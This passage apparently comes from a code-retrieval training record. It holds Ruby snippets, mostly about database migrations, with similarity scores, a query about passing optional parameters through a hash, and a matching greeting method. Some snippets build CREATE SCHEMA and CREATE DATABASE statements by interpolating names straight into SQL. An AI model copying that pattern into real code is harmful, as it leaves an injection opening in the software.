Sequel::Migrator.is_current?(@db, migrations_path)\n store = self; log = @log; @db.instance_eval { @log = log; @store = store }\n Sequel::Migrator.run(@db, migrations_path)\n unless (v = @db[:schema_info].first) && v[:magic] && v[:backend]\n @db[:schema_info].update(\n magic: Bitcoin.network[:magic_head].hth, backend: backend_name)\n end\n end\n end", "def migrate\n migrations_path = File.join(File.dirname(__FILE__), \"#{backend_name}/migrations\")\n Sequel.extension :migration\n unless Sequel::Migrator.is_current?(@db, migrations_path)\n store = self; log = @log; @db.instance_eval { @log = log; @store = store }\n Sequel::Migrator.run(@db, migrations_path)\n unless (v = @db[:schema_info].first) && v[:magic] && v[:backend]\n @db[:schema_info].update(\n magic: Bitcoin.network[:magic_head].hth, backend: backend_name)\n end\n end\n end", "def alter_table_generator_class\n Schema::AlterTableGenerator\n end", "def dbmigrate!\n ActiveRecord::Base.establish_connection(PuppetHerald.database.spec)\n ActiveRecord::Migrator.up 'db/migrate'\n ActiveRecord::Base.clear_active_connections!\n nil\n end", "def new_model(auto_migrate = true, &block)\n DB.create_table! :foo do\n primary_key :id\n column :state, :string\n end if auto_migrate\n model = Class.new(Sequel::Model(:foo)) do\n self.raise_on_save_failure = false\n def self.name; 'SequelTest::Foo'; end\n end\n model.plugin(:validation_class_methods) if model.respond_to?(:plugin)\n model.plugin(:hook_class_methods) if model.respond_to?(:plugin)\n model.class_eval(&block) if block_given?\n model\n end", "def migrate(_key, _options); end", "def change_migration_content\n Dir.glob(\"#{plugin_path}/db/migrate/*.rb\").each do |f|\n content = \"\"\n file = File.open(f,\"r\")\n file.each do |line|\n content += \"#{line} \" \n end\n mig_array = [\"To\", \"From\", \"Create\" ,\"Remove\"]\n model_name = \"\"\n mig_array.each do |m_a|\n reg_exp = %r{#{m_a}(.+)\\s+<}\n model_name = reg_exp.match(content)[1] unless reg_exp.match(content).nil?\n if !model_name.blank?\n break\n end\n end\n migrate_connection =\"\"\n if !model_name.blank?\n migrate_connection = \"def self.connection\n #{model_name.singularize}.connection\n end\"\n end\n if !model_name.blank?\n content.sub!(/ActiveRecord::Migration\\s{1}/,\"ActiveRecord::Migration\\n #{migrate_connection} \\n\")\n end\n file = File.open(f,\"w\")\n file.write(content)\n file.close\n end\n \n end", "def migrate(key, options); end", "def create_table_generator_class\n Schema::CreateTableGenerator\n end", "def generate_migrations(m)\n m.migration_template 'acts_as_attention_concept_migration.rb', File.join('db', 'migrate'),\n {:migration_file_name => \"create_attention_concepts\"}\n end", "def schema_generator_script(schema_name, mode = 'create', owner: DefaultSchemaOwner)\n cname = \"#{mode}_#{schema_name}_schema_#{migration_version}\".camelize\n\n <<~CONTENT\n require 'active_record/migration/app_generator'\n class #{cname} < ActiveRecord::Migration[5.2]\n include ActiveRecord::Migration::AppGenerator\n\n def change\n self.schema = '#{schema_name}'\n self.owner = '#{owner}'\n create_schema\n end\n end\n CONTENT\n end", "def migration(number = nil, &block)\n klass = self.class.migration(&block)\n klass.new migration_options.merge(number: number || next_number)\n end", "def replace_migration(name, from)\n inside (\"db/migrate\") do\n run \"cat #{from}/#{name}.rb > temp.rb\"\n run \"find *_#{name}.rb | xargs mv temp.rb\"\n end\nend", "def create_migrator(migrator_option)\n return Migrator.new(connection) unless migrator_option\n\n if migrator_option.is_a?(Hash)\n Migrator.new(connection, **migrator_option)\n else\n migrator_option\n end\n end", "def initialize\n # These require statements are intentionally placed here to initialize\n # the gRPC module only when it's required.\n # See https://github.com/googleapis/toolkit/issues/446\n require \"gapic/grpc\"\n require \"google/cloud/vmmigration/v1/vmmigration_services_pb\"\n\n # Create the configuration object\n @config = Configuration.new Client.configure\n\n # Yield the configuration if needed\n yield @config if block_given?\n\n # Create credentials\n credentials = @config.credentials\n # Use self-signed JWT if the endpoint is unchanged from default,\n # but only if the default endpoint does not have a region prefix.\n enable_self_signed_jwt = @config.endpoint == Configuration::DEFAULT_ENDPOINT &&\n !@config.endpoint.split(\".\").first.include?(\"-\")\n credentials ||= Credentials.default scope: @config.scope,\n enable_self_signed_jwt: enable_self_signed_jwt\n if credentials.is_a?(::String) || credentials.is_a?(::Hash)\n credentials = Credentials.new credentials, scope: @config.scope\n end\n @quota_project_id = @config.quota_project\n @quota_project_id ||= credentials.quota_project_id if credentials.respond_to? :quota_project_id\n\n @operations_client = Operations.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @location_client = Google::Cloud::Location::Locations::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @iam_policy_client = Google::Iam::V1::IAMPolicy::Client.new do |config|\n config.credentials = credentials\n config.quota_project = @quota_project_id\n config.endpoint = @config.endpoint\n end\n\n @vm_migration_stub = ::Gapic::ServiceStub.new(\n ::Google::Cloud::VMMigration::V1::VmMigration::Stub,\n credentials: credentials,\n endpoint: @config.endpoint,\n channel_args: @config.channel_args,\n interceptors: @config.interceptors\n )\n end", "def migrate(opts, &block)\n opts[:target] = resolve(opts[:target])\n # Migrate the input.\n CaTissue::Migrator.new(opts).migrate_to_database(&block)\n end", "def initialize\n @actions = [ ]\n @tables = [ ]\n @exclude_columns = [ ]\n @ignore_binary = [ ]\n @fuzz_intensity = 1\n @block_size = 10000\n @migrate_method = :replace\n\n yield(self) if (block_given?)\n end", "def create_migration_file\n return unless options[:migration] && options[:parent].nil?\n attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false\n migration_template \"../../migration/templates/create_table_migration.rb\", File.join(db_migrate_path, \"create_#{table_name}.rb\")\n end", "def migrations\n raise(ArgumentError, \"Can't set migrations while using :version option\") if @using_deprecated_version_setting\n yield\n end", "def setup options = {}\n options.to_options!\n chroot do\n generate_migration options\n migrate options\n end\n end", "def auto_migrate!\n AutoMigrator.auto_migrate(name)\n end", "def auto_migrate!\n AutoMigrator.auto_migrate(name)\n end", "def migrated_up(migration)\n column_family.insert({\n data: {\n version: migration.version.to_s,\n name: migration.name,\n migrated_at: Time.now.utc,\n },\n })\n end", "def create_migration_file\n migration_template \"migration.rb\", \"db/evolver/migrations/#{file_name}.rb\"\n end", "def copy_roomer_migration\n migration_template \"migration.rb\", \"#{migration_dir}/roomer_create_#{table_name}\"\n end", "def migrations\n rake 'admin:install:migrations'\n rake 'db:migrate SCOPE=admin'\n end", "def create_migration_file\n return unless options[:migration] && options[:parent].nil?\n attributes.each { |a| a.attr_options.delete(:index) if a.reference? && !a.has_index? } if options[:indexes] == false\n migration_template \"create_table_migration.rb\", \"db/migrate/create_#{table_name}.rb\"\n end", "def run\n connect\n src = @source_connection\n dest = @destination_connection\n\n log \"BEGINNING MIGRATION\\n\" +\n \"-------------------\"\n\n # Iterate through table mappings\n maps.each do |table|\n log \"MIGRATING TABLE #{table.source}\"\n\n # Fetch all rows from source table\n rows = src[table.source.to_sym].all\n \n # Iterate through the records and migrate each one\n rows.each do |row|\n new_record = {}\n\n # Identify the columns we need to grab data from\n table.maps.each do |column|\n new_record.merge!(\n column.destination.to_sym => row[column.source.to_sym]\n )\n end\n\n # Insert new record to destination table\n log \" -> Inserting record into #{table.destination}\"\n dest[table.destination.to_sym].insert(new_record)\n end\n end\n\n log \"-------------------\\n\" +\n \"MIGRATION COMPLETED\"\n end", "def migrate(manifest_path)\n @manifest_path = manifest_path\n\n @conn = Util::get_conn(@connection_hash)\n\n # this is used to record the version of the 'migrator' in the pg_migrate table\n @conn.exec(\"SET application_name = 'pg_migrate_ruby-#{PgMigrate::VERSION}'\")\n\n # load the manifest, and version of the builder that made it\n process_manifest()\n\n # execute the migrations\n run_migrations(@manifest)\n end", "def create(schema,and_migrate = true)\n conn = ActiveRecord::Base.connection\n conn.execute(\"CREATE SCHEMA #{schema}\") unless conn.schema_exists? schema\n self.migrate(schema) if and_migrate\n end", "def migrate_database\n # Creating the new database\n ActiveRecord::Base.connection.execute(\"CREATE DATABASE `crowdvoice_installation_#{@new_install.name}`\")\n @default_config ||= ActiveRecord::Base.connection.instance_variable_get(\"@config\").dup\n\n # Connect to new database\n # TODO: Fix server name, shouldn't use the crowdvoice_installation prefix\n ActiveRecord::Base.establish_connection(@default_config.dup.update(:database => \"crowdvoice_installation_#{@new_install.name}\"))\n\n #Migrating database\n\n ActiveRecord::Migrator.migrate(\"db/migrate/\")\n @new_user = @old_user.clone\n @new_user.is_admin = true\n @new_user.save(:validate => false)\n @server_install = Installation.create(:email => @new_user.email, :name => \"crowdvoice-installation-#{@new_install.name}\")\n CustomAttribute.create(\n :name => @new_install.name,\n :logo => @new_install.name,\n :twitter => 'http://twitter.com/intent/tweet?source=webclient&text=Tracking+voices+of+protest+-+http%3A%2F%2Fwww.crowdvoice.org',\n :facebook => 'https://www.facebook.com/sharer.php?t=Tracking+voices+of+protest&u=http%3A%2F%2Fwww.crowdvoice.org',\n :title => @new_install.name,\n :message => \"Modify this message on your admin area!\")\n end" ]
[ "0.6903996", "0.68267065", "0.67812127", "0.636325", "0.6360586", "0.61708456", "0.6164415", "0.60395527", "0.6034991", "0.60097086", "0.59950036", "0.59916055", "0.59914774", "0.5976202", "0.5968922", "0.5951179", "0.59334534", "0.591808", "0.58762395", "0.5837199", "0.5834763", "0.58313036", "0.5807913", "0.5807377", "0.5783936", "0.57718897", "0.57338834", "0.5726354", "0.57261795", "0.5709461", "0.5693743", "0.56849307", "0.5678956", "0.5676321", "0.5668761", "0.56677717", "0.56667453", "0.5662219", "0.56479883", "0.56397617", "0.56397617", "0.56346107", "0.56326056", "0.5624822", "0.561539", "0.56071454", "0.5600811", "0.55985075", "0.55914843", "0.55901647", "0.55901647", "0.55901647", "0.55750847", "0.5572591", "0.55286807", "0.55231684", "0.5521671", "0.5510454", "0.55088776", "0.5497083", "0.54895973", "0.54674286", "0.5466945", "0.54637927", "0.5461262", "0.54598993", "0.5454728", "0.5454165", "0.5449399", "0.5447873", "0.5447873", "0.54283893", "0.5426958", "0.5425534", "0.5423121", "0.5418645", "0.5404039", "0.5394532", "0.5393748", "0.53886354", "0.5385358", "0.53778607", "0.5368905", "0.53661263", "0.5360798", "0.53576356", "0.5350428", "0.5338902", "0.5324883", "0.5302704", "0.5302704", "0.52968615", "0.5295172", "0.52851164", "0.52824533", "0.5280222", "0.5275312", "0.5266667", "0.52607125", "0.52606934" ]
0.6230338
5
For N = 24, there are 2 digits 2 & 4. Both these digits exactly divide 24. So our answer is 2 Using each_char and then typecasting each char to int.
def find_digits_count_string_operations(input) digits = 0 n = input.to_i input.each_char do |c| c = c.to_i unless c == 0 q, r = n.divmod(c) if r == 0 digits += 1 end end end puts digits end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def digitize(n)\n n.to_s.chars.map(&:to_i)\nend", "def digitize(n)\n n.to_s.chars.map(&:to_i)\nend", "def to_numbers( chars )\r\n chars.unpack(\"C*\").collect {|x| x - 64}\r\n end", "def digitize(n)\n nums = n.to_s.split('')\n nums.map { |num| num.to_i }\nend", "def convert_to_int num_string\n num_hash = {\n '0' => 0, '1' => 1, '2' => 2, '3' => 3, '4' => 4,\n '5' => 5, '6' => 6, '7' => 7, '8' => 8, '9' => 9 \n }\n\n num_array = num_string.chars.map do |char|\n num_hash[char]\n end\n\n final_number = 0\n count = num_array.length - 1\n\n num_array.each do |num| \n final_number += num * (10 ** count)\n count -=1\n end\n\n p final_number\nend", "def digitize(n)\n @result = n.to_s.scan(/./).map{ |s| s.to_i } \nend", "def digits_to_int a, b, c, d\n (a.to_i << 24) + (b.to_i << 16) + (c.to_i << 8) + d.to_i\nend", "def str_to_int(str_num)\n arr_num = str_to_array_of_num(str_num)\n new_num = 0\n while arr_num.length > 0\n n = arr_num.length\n i = arr_num.shift\n new_num += i * 10**(n-1)\n end\n new_num\nend", "def dig_number(number)\n arr_dig = number.to_s.chars\n count = arr_dig.size\n arr_dig.map {|dig| dig.to_i ** count} \nend", "def string_to_integer2(string)\n digits = string.chars.map { |char| HASH[char] }\n\n value = 0\n digits.each { |digit| value = 10 * value + digit }\n value\nend", "def sum_of_digit(n)\n sum = 0\n n.to_s.each_char {|i| sum = sum + i.to_i}\n puts sum\nend", "def digitize_1(n)\n list = []\n puts n.to_s\n \n n.to_s.each_char do |char| \n list << char.to_i\n end\n\n return list.reverse\nend", "def decode_int\n # @index is at the position of the the 'i' so we just need everything between it\n # and the next appearance of 'e'.\n index_of_last_digit = self[@index..self.length - 1].index 'e'\n number_string = self[(@index + 1)..(@index + index_of_last_digit - 1)]\n @index += index_of_last_digit\n number_string.to_i\n end", "def interesting_number(number)\n number.each_char.map {|c| c.to_i}\n puts number\nend", "def string_to_integer(str)\n convert_hash = {\n '0' => 0,\n '1' => 1,\n '2' => 2,\n '3' => 3,\n '4' => 4,\n '5' => 5,\n '6' => 6,\n '7' => 7,\n '8' => 8,\n '9' => 9,\n }\n sum = 0\n value = 0\n str_arr = str.chars\n str_arr.each do |num|\n value = convert_hash[num]\n sum += value * (10 ** (str_arr.length - (str_arr.index(num) + 1)))\n end\n sum\nend", "def base2to10(str_num)\n str = str_num.dup.reverse\n total = 0\n\n str.each_char.with_index do |char, idx|\n total += (char.to_i * (2 ** idx))\n end\n total\nend", "def sumdig_i(n)\n nums = n.to_s.chars.map(&:to_i).inject(:+)\nend", "def double_digit_value(n)\n n *= 2\n # if a digit in the id sequence has to be doubled then\n # it may have 2 digits\n # if that is the case, we need to add the 2 digits separately\n if n >= 10\n # the first digit of n*2 is always one since 0 <= n <= 9\n # the second digit of n*2 is (n*2) % 10\n 1 + (n % 10)\n else\n n\n end\n end", "def sum_of_digits(n)\n sum = 0\n n.each_char {|digit| sum += digit.to_i}\n\n puts sum\nend", "def digitize(n)\n n.digits\nend", "def int_to_digits i\n a = ((i & 0xff000000) >> 24).to_s\n b = ((i & 0x00ff0000) >> 16).to_s\n c = ((i & 0x0000ff00) >> 8).to_s\n d = (i & 0x000000ff).to_s\n [a,b,c,d]\nend", "def sum_digits( i )\n sum = 0\n\n i.to_s.split( // ).each do |d|\n sum += d.to_i\n# sum += $a_to_i[d.ord]\n end\n\n sum\nend", "def sumdig_i(n)\n# Shortcut for .map on array, and for each element in the array, returns the result of calling to_i on that element.\n return n.to_s.chars.map(&:to_i).reduce(:+)\nend", "def digitsOf(n)\n n.to_s.split(//).collect{ |x| x.to_i }\nend", "def super_digit(n)\n string_n = n.to_s\n return n if string_n.size == 1\n\n i = 1\n sum = string_n[0].to_i\n while i < string_n.size\n sum += string_n[i].to_i\n i += 1\n end\n return super_digit(sum)\nend", "def super_digit(n)\n string_n = n.to_s\n return n if string_n.size == 1\n\n i = 1\n sum = string_n[0].to_i\n while i < string_n.size\n sum += string_n[i].to_i\n i += 1\n end\n return super_digit(sum)\n end", "def intSumOfDigitsInt2 i\n result = 0\n i.to_s.bytes.each do |i|\n result += i - 48\n end\n result\nend", "def string_to_integer(string_num)\n hash = {\n '0'=>0, '1'=>1, '2'=>2, '3'=>3, '4'=>4,\n '5'=>5, '6'=>6, '7'=>7, '8'=>8, '9'=>9\n }\n int_array = string_num.chars.map { |num| hash[num] }\n tens = 1\n integer = 0\n int_array.size.times do\n integer += int_array.pop * tens\n tens *= 10\n end\n integer\nend", "def square_digits(num)\n # arr = num.to_s.chars.map do |char|\n # int = char.to_i\n # int = int ** 2\n # int.to_s\n # end\n # arr.join.to_i\n\n num.to_s.chars.map { |char| (char.to_i ** 2).to_s }.join.to_i\nend", "def decodeAdjacent(input)\n last_digit = input[-1] # Get last digit of input to make circular\n sum = 0\n\n input.chars do |char|\n sum += char.to_i if last_digit == char\n last_digit = char\n end\n sum\nend", "def string_to_integer(string)\n \n digit_array = string.chars.map do |digit|\n digit = DIGITS[digit]\n end\n \n converted_string = 0\n \n digit_array.each do |digit|\n converted_string = converted_string * 10 + digit\n end\n \n converted_string\nend", "def string_to_integer(str)\n num_hsh = {'1'=>1,'2'=>2,'3'=>3,'4'=>4,'5'=>5,'6'=>6,'7'=>7,'8'=>8,'9'=>9,'0'=>0,}\n arr = str.chars.reverse\n total = 0\n new_arr = []\n arr.each do |str|\n new_arr << num_hsh[str]\n end\n new_arr.each_with_index do |num, i|\n total += num * 10**i\n end\n total\nend", "def string_to_integer(str)\n arr = []\n str.each_char { |char| arr << char if STR_TO_INT.key?(char) }\n\n sum = 0\n arr.reverse.each.with_index do |num, index|\n sum += STR_TO_INT[num] * 10**index\n end\n sum\nend", "def two_digit_format(n)\n\n arr = n.to_s.split(//)\n \n if arr.length == 0\n return '0' + arr[0]\n elsif arr.length >=3\n return\n else\n return n.to_i\n end\n\nend", "def digits(number)\n number.to_s.chars.map(&:to_i)\nend", "def to_integer(input); end", "def s(n)\n n.to_s.gsub(/\\d/) { |d| d.to_i**2 }.to_i\nend", "def string_to_integer(str)\n str.chars.map { |chr| chr.ord - 48 }.reduce { |a, e| (a * 10) + e }\nend", "def string_to_integer(str)\n place_idx = (str.length - 1)\n \n num = 0\n while place_idx >= 0\n digit = str[place_idx].ord - '0'.ord\n num = num + digit * (10 ** (str.length - 1 - place_idx))\n place_idx -= 1\n end\n\n num\nend", "def sumdig_i(num)\n num.to_s.split('').map(&:to_i).reduce(:+)\nend", "def prod_digits(s)\n prod = 1\n s.each_char { |c| prod *= c.to_i }\n prod\nend", "def super_digit(n)\n return n if n / 10 < 1\n \n string = n.to_s.split(\"\")\n sum = 0\n \n string.each do |num|\n sum += num.to_i\n end\n \n return super_digit(sum)\nend", "def symbol_to_integer(key)\n\t\tkey[-2..-1].to_i\n\tend", "def myAtoi( str)\n value = 0\n size = str.length\n i = 0\n while (i < size)\n value = (value << 3) + (value << 1) + (str[i].ord - '0'.ord)\n i += 1\n end\n return value\nend", "def string_to_integer(str)\n str_size = str.size\n num_str = '0123456789'\n curr_size = 1\n str_size.times{curr_size *= 10}\n result = 0\n pos = 0\n\n arr = str.split('')\n\n arr.each do |a|\n pos = num_str.index(a)\n add_up = pos * curr_size\n result += add_up\n curr_size /= 10\n end\n result /= 10\nend", "def digitize(n)\n number_array =[] #convert n into a string to use split. Map lets us create a new array but we must convert back into int\n number_array = n.to_s.split(\" \").map(&:to_i) # SPLIT divided strings into substrings\n return number_array\n\nend", "def s_to_n( s )\n n = 0\n s.each_byte do |b|\n n = n * 256 + b\n end\n n\nend", "def string_to_integer(string)\n\n\tnumbers = {'0' => 0, '1' => 1, '2' => 2, '3' => 3, '4' => 4, '5' => 5,\n\t\t\t\t'6' => 6, '7' => 7, '8' => 8, '9' => 9 }\n\n\tarray = string.chars.map do |n|\n\t\tnumbers[n]\n\tend\n\n\tarray.inject(0){ |total, num| total * 10 + num}\n\nend", "def string_to_integer(string)\n\n\tnumbers = {'0' => 0, '1' => 1, '2' => 2, '3' => 3, '4' => 4, '5' => 5,\n\t\t\t\t'6' => 6, '7' => 7, '8' => 8, '9' => 9 }\n\n\tarray = string.chars.map do |n|\n\t\tnumbers[n]\n\tend\n\n\tarray.inject(0){ |total, num| total * 10 + num}\n\nend", "def double_digits\n times_by_2.map do |number|\n if number > 9\n number - 9\n else\n number\n end\n end\nend", "def string_to_integer(string)\n integer = 0\n idx = 0\n while idx < string.length\n integer = integer * 10\n integer += string[idx].to_i\n idx += 1\n end\n\n integer\nend", "def num_decode\n s = self\n return 0 if s.nil? || s.empty?\n dp = Array.new(s.size + 1)\n dp[0] = 1\n 1.upto(s.size).each { |i|\n dp[i] = s[i - 1] == \"0\" ? 0 : dp[i - 1]\n dp[i] += i > 1 && s[i - 2] != \"0\" && s[i - 2, 2].to_i < 27 ? dp[i - 2] : 0\n }\n\n dp[s.size]\n end", "def validate(n)\n n = n.to_s.chars\n length = n.length\n \n n = n.map.with_index do |digit, i|\n digit = digit.to_i\n if length.odd?\n digit *= 2 if i.odd?\n else\n digit *= 2 if i.even?\n end\n digit -= 9 if digit > 9\n digit\n end.inject(:+)\n n % 10 == 0\nend", "def num_dec(s)\n return 0 if s.to_s.empty?\n dp = Array.new(s.size + 1)\n dp[s.size] = 1\n (s.size - 1).downto(0).each { |i|\n dp[i] = s[i] == '0' ? \n 0 :\n dp[i + 1] + (i < s.size && s[i, 2].to_i < 27 ? dp[i + 2] || 0 : 0)\n }\n\n dp[0]\nend", "def super_digit(n)\n n_array = n.to_s.split('').map {|i| i.to_i}\n return n if n_array.length == 1\n return super_digit(n_array.sum)\nend", "def string_to_integer(string)\n digits = string.chars.map(&:to_i)\n value = 0\n digits.each do |digit|\n value = 10 * value + digit\n end\n value\nend", "def to_digit_array\n self.to_s.each_char.map(&:to_i)\n end", "def digits(num)\n cs = num.to_s.chars\n [].tap do |o|\n while cs.size > 0\n c = cs.shift\n o << (c + Array.new(cs.length) { |_i| 0 }.join).to_i\n end\n end\nend", "def str_to_num(string)\n int_list = []\n final_num = 0\n string_list = string.split(\"\")\n for char in string_list\n if 48 <= char.ord && char.ord <= 57\n int_list.push(char.ord - 48)\n else\n return false\n end\n end\n for i in 0...int_list.length\n value = int_list[-i-1]\n place = 10**i\n final_num += value*place\n end\n final_num\nend", "def digits(num)\n return num.to_s.split(\"\").map { |i| i.to_i }\nend", "def replaceCharToNumber(char)\n case char\n when 'T'\n then\n char = 10\n when 'J'\n then\n char = 11\n when 'Q'\n then\n char = 12\n when 'K'\n then\n char = 13\n when 'A'\n then\n char = 14\n end\n char.to_i\nend", "def string_to_integer(num_string)\n digits = { '0' => 0, '1' => 1, '2' => 2, '3' => 3, '4' => 4,\n '5' => 5, '6' => 6, '7' => 7, '8' => 8, '9' => 9 }\n\n num_string.chars.reverse.map.with_index { |char, idx| digits[char] * (10 ** idx) }.sum\nend", "def base2to10(binary)\n #split to single digits\n digits = binary.split('').map{|str| str.to_i}.reverse\n #loop through multiply by 2 raised to index and add to result\n result = 0\n digits.each_with_index do |num, i|\n result += (num *(2**i))\n end\n result\nend", "def get_first_digit n \n n / 10**length(n) \nend", "def letter_to_number(letters)\n letters.upcase.each_codepoint.reduce(0) do |result, codepoint|\n 26 * result + codepoint - CODEPOINT_OFFSET\n end\n end", "def num_decodings(s)\n return 0 if !s || s == '0'\n return 1 if s.size == 1\n dp = [0] * (s.size + 1)\n dp[0] = 1\n dp[1] = s[0] == '0' ? 0 : 1\n\n for i in 2..s.size do \n char = s[i - 1].to_i\n chars = s[(i - 2)..(i - 1)].to_i\n\n if char >= 1 && char <= 9\n dp[i] += dp[i - 1]\n end\n\n if chars >= 10 && chars <= 26\n dp[i] += dp[i - 2]\n end\n end\n\n dp.last\nend", "def sum_of_digits(number)\n sum = 0\n digits = number.to_s\n digits.each_char { |c| sum += c.to_i }\n sum\nend", "def kan2n2(s)\n case s.length\n when 1\n '〇一二三四五六七八九十'.index(s)\n when 2\n '〇一二三四五六七八九十'.index(s[1]) + 10\n else\n raise '21以上の数値に対応していません'\n end\n end", "def super_digit(n)\n s = n.to_s \n if s.length <= 1 # basecase here\n return n\n end\n \n sum = 0 \n s.split(\"\").each do |d|\n sum += d.to_i \n end\n \n return super_digit(sum)\nend", "def product_digits\n self.split('').inject(1) { |memo, c| memo * c.to_i }\n end", "def digit_sum_old(int)\n return int.to_s.split('').map(&:to_i).sum\nend", "def string_to_integer(string)\n integer_hash = {\n '0' => 0,\n '1' => 1,\n '2' => 2,\n '3' => 3,\n '4' => 4,\n '5' => 5,\n '6' => 6,\n '7' => 7,\n '8' => 8,\n '9' => 9\n }\n\n output_array = []\n\n string.chars.reverse.each_with_index { |val, i| output_array << integer_hash[val] * 10 ** i }\n\n output_array.reduce(:+)\nend", "def letter_to_number(letter)\n letter.ord - 64\nend", "def solution(n)\n max = 0\n tmp = 0\n n.to_s(2).each_char do |s|\n if s == \"0\"\n tmp += 1\n else\n max = [tmp, max].max\n tmp = 0\n end\n end\n max\nend", "def super_digit(n)\n return n if n < 10 \n return super_digit(n.to_s.chars.map(&:to_i).sum)\nend", "def solution(n)\n # write your code in Ruby 2.2\n max = 0\n count = 0\n\n n.to_s(2).sub(/^0*/, '').each_char do |d|\n if d == '0'\n count += 1\n else\n max = count if max < count\n count = 0\n end\n end\n \n max\nend", "def to_i\n value = 0\n @roman.split(//).each.with_index do |char, i|\n char_val = INT_VAL[char]\n next_char = (i + 1 < @roman.length) ? @roman[i + 1] : false\n if next_char && INT_VAL[next_char] > char_val\n value -= char_val\n else\n value += char_val\n end\n end\n value\n end", "def super_digit(n)\n new_num = 0\n numbers = n.to_s.split(\"\")\n if numbers.length <= 1\n return n\n end\n numbers.each do |i|\n new_num += i.to_i\n end\n return super_digit(new_num)\nend", "def value_of(digits, in_base:)\n number = 0\n\n digits.to_s.chars.each do |digit|\n number = in_base * number + CHARS.index(digit)\n end\n\n number\n end", "def int_n! n\n value = 0\n [\n [8, 'Q>'],\n [4, 'N'],\n [2, 'n'],\n [1, 'C'],\n ].each do |nbytes, fmt|\n shift = nbytes * 8\n while n > nbytes\n value = (value << shift) | unpack_one!(fmt)\n n -= nbytes\n end\n end\n value\n end", "def roman_to_int(str)\n hash = {\n 'M' => 1000,\n 'D' => 500,\n 'C' => 100,\n 'L' => 50,\n 'X' => 10,\n 'V' => 5,\n 'I' => 1,\n }\n sum = 0\n cur = 0\n\n str.chars.each do |l|\n prev = cur\n cur = hash[l]\n sum += cur\n sum -= (prev * 2) if prev < cur\n end\n\n sum\nend", "def digitize(n)\n split_array_numbers = n.to_s.split(//).map { |x| x.to_i}.reverse\nend", "def locNumToInt(str)\n\tnum = 0\n\tstr.split('').each {|c|\n\t\tnum += 2**(c.ord - 97)\n\t}\n\tnum\nend", "def digit_list(number)\n number.to_s.chars.map { |char| char.to_i }\nend", "def convert_to_base_8(n)\n n.to_s(8).to_i\nend", "def convert_to_base_8(n)\n n.to_s(8).to_i\nend", "def to_digit\n return NUMBER[self] if self <= 9 && self >= 0\n NUMBER[0]\n end", "def digit_list(num)\n array = []\n \n num.to_s.each_char do |c| \n array.push(c.to_i)\n end\n array\nend", "def string_to_integer(string, numbers)\n str_nums = string.chars.reverse\n number = 0\n str_nums.each_with_index do |num, index|\n number += numbers[num] * 10**(index)\n end\n number\nend", "def super_digit(n)\n return n if n < 10\n sum = n.to_s.chars.map(&:to_i).sum\n return super_digit(sum)\nend", "def atoi\n\t\t _int = []; _sum = 0\n\t\t\n\t\t@ascii_string.each do |value| \n\t\t\t_int.push(NILTO9[value])\n\t\tend\n\t\t\n\t\te = _int.length \t\t\n\t\n\t\t_int.each do |value|\n\t\t\t_sum = _sum + ((value/BASE)/(1/(BASE**e))).floor\n\t\t\te -= 1\n\t\tend\t\n\n\t \t_sum\n\tend", "def to_i(base=10) end", "def digit_list(num)\n num.to_s.chars.map(&:to_i)\nend", "def to_int\ntmp = self.raw_bytes.unpack \"C*\"\ntmp.inject do |r, i|\nr * 256 | i\nend\nend", "def addTwoDigits(n)\n result = 0\n n.to_s.split(\"\").each {|number| result += number.to_i }\n result\nend", "def digit_list(num)\n str = num.to_s\n nums = str.split(//)\n nums.map{|char| char.to_i}\nend", "def digit_list(int)\r\n int.to_s.chars.map{|x| x.to_i }\r\nend", "def s_to_n( s )\r\n n = 0\r\n s.each_byte do |b| \r\n n = n * 256 + b \r\n end\r\n n\r\n end", "def compute_v_digit(type, dni)\n sequence = [2,3,4,5,6,7,2,3,4,5].reverse\n precomputed_v_digit = 11 - (type + dni)\n .chars\n .each_with_index\n .inject(0) do |acc, (n, i)|\n acc + n.to_i * sequence[i]\n end % 11\n\n case precomputed_v_digit\n when 11\n 0\n when 10\n 9\n else\n precomputed_v_digit\n end\n end", "def digit_product(str_num)\n digits = str_num.chars.map { |n| n.to_i }\n product = 0\n\n digits.each do |digit|\n product *= digit\n end\n\n product\nend", "def to_i\n\t\tbits.map(&:to_s).join.to_i(2)\n\tend" ]
[ "0.7053623", "0.7053623", "0.6989982", "0.674691", "0.673437", "0.67150694", "0.6555716", "0.654214", "0.64726347", "0.6460298", "0.64434004", "0.6428429", "0.6342071", "0.6321419", "0.63112175", "0.630452", "0.6281697", "0.6274735", "0.6240163", "0.6215572", "0.6197247", "0.6191604", "0.6188814", "0.61734486", "0.6170046", "0.61586803", "0.6145975", "0.61360455", "0.61340475", "0.6130039", "0.6126009", "0.61142254", "0.6105409", "0.610205", "0.61016977", "0.60957533", "0.60952467", "0.60866874", "0.60714316", "0.60682136", "0.6045343", "0.6035975", "0.60151726", "0.6013983", "0.5999699", "0.59955", "0.5994164", "0.59894264", "0.59894264", "0.5982554", "0.5979089", "0.59780616", "0.59736794", "0.5972079", "0.5972027", "0.5961151", "0.595777", "0.5942292", "0.5930144", "0.5922484", "0.591362", "0.5912101", "0.5901271", "0.5898509", "0.5896298", "0.5895858", "0.5892153", "0.5888657", "0.58874416", "0.5882903", "0.5882512", "0.5881291", "0.58738375", "0.58726966", "0.5868815", "0.58640397", "0.5863485", "0.5863454", "0.58625704", "0.5861962", "0.58587223", "0.58547175", "0.58479756", "0.5847097", "0.58386374", "0.58386374", "0.5838519", "0.583032", "0.5823416", "0.5816708", "0.58114904", "0.5807701", "0.5801343", "0.5799722", "0.57977116", "0.57976556", "0.5786237", "0.57854533", "0.57852966", "0.57841325", "0.57794344" ]
0.0
-1
You can use a hash to accept optional parameters when you are creating methods. This can be helpful when you want to give your methods some more flexibility and expressivity. More options if you will. Example below:
def greeting(name, options = {}) if options.empty? # use the empty? method to detect if options prameter had anything puts "Hi, my name is #{name}" else puts "Hi, my name is #{name} and I'm #{options[:age]} years old and I live in #{options[:city]}." end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
